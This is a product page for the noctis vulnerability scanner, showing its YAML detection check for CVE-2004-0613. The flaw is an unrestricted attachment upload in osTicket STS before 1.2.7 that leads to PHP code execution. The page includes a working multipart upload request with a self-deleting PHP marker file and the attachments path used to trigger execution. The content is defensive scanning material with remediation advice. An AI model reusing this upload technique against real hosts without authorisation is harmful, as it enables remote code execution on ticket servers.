osTicket — 1 vulnerability check

noctis ships 1 vulnerability check for osTicket, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

osTicket STS < 1.2.7 unrestricted ticket attachment upload — PHP code execution

CVECVE-2004-0613
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/osticket/CVE-2004-0613.yaml

Tests osTicket STS before 1.2.7 for the unrestricted ticket attachment upload: the public "open a new ticket" form (open.php) stores any attachment, PHP files included, as attachments/<ticket>_<filename> under the web root, where it runs as PHP code. The test loads open.php, and when the page holds osTicket's ticket form with an attachment field it opens a ticket (e-mail address at example.com) whose attachment is a one-line PHP file that prints a per-run arithmetic marker and deletes itself. It reads the ticket number from the reply and requests the attachment from the attachments directory: the computed marker confirms that the uploaded file ran as PHP code. When the file is instead served back verbatim, a lower-confidence finding reports that ticket attachments are stored with no type check and readable by anyone. The web root, /osticket, /osTicket, /support, /helpdesk and /tickets are tried. The test opens one support ticket on a vulnerable host.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{base}}/open.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST {{base}}/open.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{base}}/attachments/{{ticket}}_noctis{{m.tok}}.php
  8. Parses / computes the next value with a Rhai script
  9. Checks run.body for NOCTIS[0-9]+END → finding QoD 97: osTicket STS < 1.2.7 PHP code execution via unrestricted ticket attachment upload
  10. Checks run.body for NOCTIS'\.\( → finding QoD 75: osTicket STS < 1.2.7 ticket attachments stored with no type check and readable by anyone

References:

Feed source — tests/vulnerabilities/osticket/CVE-2004-0613.yaml
# osTicket STS < 1.2.7 — unrestricted ticket attachment upload to the web-reachable
# attachments/ directory: anyone can open a ticket through the public open.php form
# with a .php attachment, which is stored as attachments/<ticket>_<filename> under the
# web root and runs as PHP when requested (CVE-2004-0613). Fixed in osTicket STS 1.2.7
# (and by the "FileTypes" patch), which only accepts allowed attachment extensions.
#
# Detection (for each candidate base: the web root, /osticket, /osTicket, /support,
# /helpdesk, /tickets):
#   1. GET <base>/open.php. Only a page holding osTicket's ticket form with its file
#      field (type="file" name="attachment") goes on; the PHP session cookie it sets
#      is replayed on the POST, as the form needs it.
#   2. Real, benign exploitation (QoD 97): POST <base>/open.php a ticket (the form's
#      fields) with a one-line PHP attachment noctis<tok>.php that prints
#      NOCTIS<a+b>END (the source holds "a+b", never the sum) and deletes itself. The
#      ticket number comes from the reply's hidden login_ticket field; then
#      GET <base>/attachments/<ticket>_noctis<tok>.php.
#   3. Fallback (QoD 75): the attachment is stored and served back verbatim from the
#      attachments directory (PHP not executed there): the uploaded file — and any
#      other ticket attachment — can be read by anyone (the CVE's "view sensitive
#      uploaded files"). The probe file then stays on the target (no delete action
#      exists); the evidence names it.
#
# Better than the NASL (pre2008/osticket_attachment_code_execution.nasl, which uploads
# a phpinfo() file and reports any HTTP 200 on the attachment URL, leaving the file
# behind): the upload is proven by a computed marker from a self-deleting file, so a
# server that answers 200 for every URL (or serves the source as text) is not
# reported as code execution; candidate install paths are tried instead of relying
# on a prior detection; the session cookie is optional; the ticket number parser
# accepts either attribute order.
#
# Limit: http_request keeps only the last Set-Cookie header, so a front end that adds
# its own cookie after PHPSESSID loses the session (the NASL keeps only the last one
# too). Fixed osTicket releases with the same form field also get the test ticket. The ticket's e-mail is example.com (reserved), so
# no auto-reply reaches a real mailbox.
#
# CVSS: NVD has only a v2 score for CVE-2004-0613 — 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P).
#
# Ported from OpenVAS/Greenbone NVT pre2008/osticket_attachment_code_execution.nasl
# (OID 1.3.6.1.4.1.25623.1.0.13645, GPL-2.0-or-later).
uid: 42de7aa1-52b6-4cad-95b1-8e0e4eabcdfc
name: "osTicket STS < 1.2.7 unrestricted ticket attachment upload — PHP code execution"
description: |
  Tests osTicket STS before 1.2.7 for the unrestricted ticket attachment upload: the
  public "open a new ticket" form (open.php) stores any attachment, PHP files
  included, as attachments/<ticket>_<filename> under the web root, where it runs as
  PHP code. The test loads open.php, and when the page holds osTicket's ticket form
  with an attachment field it opens a ticket (e-mail address at example.com) whose
  attachment is a one-line PHP file that prints a per-run arithmetic marker and
  deletes itself. It reads the ticket number from the reply and requests the
  attachment from the attachments directory: the computed marker confirms that the
  uploaded file ran as PHP code. When the file is instead served back verbatim, a
  lower-confidence finding reports that ticket attachments are stored with no type
  check and readable by anyone. The web root, /osticket, /osTicket, /support,
  /helpdesk and /tickets are tried. The test opens one support ticket on a vulnerable host.
cves: [CVE-2004-0613]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [osticket, php, file-upload, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-0613"
  - "https://osticket.com/"
  - "OpenVAS/Greenbone NASL pre2008/osticket_attachment_code_execution.nasl (GPL-2.0-or-later)"

steps:
  # Per-run file name token and arithmetic operands.
  - id: mint
    action: script
    code: '#{ tok: rand_hex(8), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-sum
    action: script
    code: 'm.a + m.b'
    store_as: sum

  # ── Loop group: every step below runs once per candidate osTicket base ──
  # Pre-initialise every stored result the scripts read (an undefined variable
  # would abort the whole test).
  - id: init-form
    action: set_var
    var_name: form
    var_value: {status: 0, body: null, headers: {}}
    loop:
      over: ["", "/osticket", "/osTicket", "/support", "/helpdesk", "/tickets"]
      var: base

  - id: init-up
    action: set_var
    var_name: up
    var_value: {status: 0, body: null, headers: {}}

  - id: init-run
    action: set_var
    var_name: run
    var_value: {status: 0, body: null}

  - id: form-probe
    action: http_request
    method: GET
    path: "{{base}}/open.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: form

  # osTicket ticket form with the attachment field; keep its session cookie.
  - id: form-verify
    action: script
    code: |
      let b = form.body;
      let hit = false;
      let ck = "";
      if type_of(b) == "string" && form.status == 200 {
        let l = tolower(b);
        hit = egrep("type=[\"']?file[\"']?[^>]*name=[\"']?attachment[\"' >]", l) != ""
          || egrep("name=[\"']?attachment[\"']?[^>]*type=[\"']?file[\"' >]", l) != "";
        hit = hit && stridx(l, "osticket") >= 0;
      }
      if hit && type_of(form.headers) == "map" && "set-cookie" in form.headers {
        let c = eregmatch("^([^;]+)", form.headers["set-cookie"].to_string());
        if c.len() == 2 { ck = c[1]; }
      }
      #{ hit: hit, ck: ck }
    store_as: xf

  # Benign exploitation: open a ticket whose attachment is a self-deleting PHP file
  # that prints NOCTIS<a+b>END.
  - id: upload
    action: http_request
    method: POST
    path: "{{base}}/open.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "xf.hit == true"
    headers:
      Cookie: "{{xf.ck}}"
      Content-Type: "multipart/form-data; boundary=----noctisCVE20040613"
    body: "------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nnoctis\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"email\"\r\n\r\nnoctis-scan@example.com\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"cat\"\r\n\r\n4\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"subject\"\r\n\r\nnoctis scanner attachment test\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"message\"\r\n\r\nAutomated security test: checks whether ticket attachments are stored with no file type check. This ticket can be deleted.\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"pri\"\r\n\r\n1\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n1048576\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"noctis{{m.tok}}.php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo 'NOCTIS'.({{m.a}}+{{m.b}}).'END'; @unlink(__FILE__); ?>\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"submit_x\"\r\n\r\nOpen Ticket\r\n------noctisCVE20040613--\r\n"
    store_as: up

  # Ticket number from the hidden login_ticket field (either attribute order).
  - id: ticket-parse
    action: script
    code: |
      let b = up.body;
      let t = "";
      if xf.hit == true && type_of(b) == "string" {
        let p = eregmatch("(?i)name=[\"']?login_ticket[\"']?[^>]*value=[\"']?([0-9A-Za-z]+)", b);
        if p.len() == 2 { t = p[1]; }
        else {
          let q = eregmatch("(?i)value=[\"']?([0-9A-Za-z]+)[\"']?[^>]*name=[\"']?login_ticket[\"' >]", b);
          if q.len() == 2 { t = q[1]; }
        }
      }
      t
    store_as: ticket

  - id: run-upload
    action: http_request
    method: GET
    path: "{{base}}/attachments/{{ticket}}_noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "xf.hit == true && ticket != \"\""
    store_as: run

  # Executed only when the computed sum comes back (the source holds "a+b", not it);
  # served verbatim when the uploaded source itself comes back.
  - id: run-verify
    action: script
    code: |
      let b = run.body;
      if type_of(b) != "string" || run.status != 200 { #{ rce: false, raw: false } }
      else {
        #{
          rce: stridx(b, "NOCTIS" + sum + "END") >= 0,
          raw: stridx(b, "'NOCTIS'.(" + m.a + "+" + m.b + ")") >= 0
        }
      }
    store_as: rv

  - id: rce-match
    action: match
    source: run.body
    pattern: "NOCTIS[0-9]+END"
    condition: "rv.rce == true"
    on_match:
      stop: true
      finding:
        title: "osTicket STS < 1.2.7 PHP code execution via unrestricted ticket attachment upload"
        confidence_delta: 0.65
        qod: 97
        evidence: "PHP attachment upload confirmed: POST {{base}}/open.php opened ticket #{{ticket}} with attachment noctis{{m.tok}}.php, and GET {{base}}/attachments/{{ticket}}_noctis{{m.tok}}.php returned NOCTIS{{sum}}END ({{m.a}}+{{m.b}} computed by the server; the file deleted itself). Ticket #{{ticket}} (subject \"noctis scanner attachment test\") can be deleted."
        remediation: "Upgrade osTicket (STS 1.2.7 or later restricts attachment types; current releases store attachments outside the web root). Until then, block access to the attachments/ directory and stop it from running PHP, and review it for uploaded scripts."

  # Fallback: the attachment is stored with no type check and served verbatim.
  - id: raw-match
    action: match
    source: run.body
    pattern: "NOCTIS'\\.\\("
    condition: "rv.raw == true"
    on_match:
      stop: true
      finding:
        title: "osTicket STS < 1.2.7 ticket attachments stored with no type check and readable by anyone"
        confidence_delta: 0.45
        qod: 75
        evidence: "POST {{base}}/open.php opened ticket #{{ticket}} with a PHP attachment, and GET {{base}}/attachments/{{ticket}}_noctis{{m.tok}}.php served the uploaded source back verbatim (PHP is not run there, but any ticket attachment is readable without authentication). The test file attachments/{{ticket}}_noctis{{m.tok}}.php (harmless, prints a marker) and ticket #{{ticket}} remain and should be deleted."
        remediation: "Upgrade osTicket (STS 1.2.7 or later restricts attachment types; current releases store attachments outside the web root). Until then, deny web access to the attachments/ directory."

View these feeds on GitHub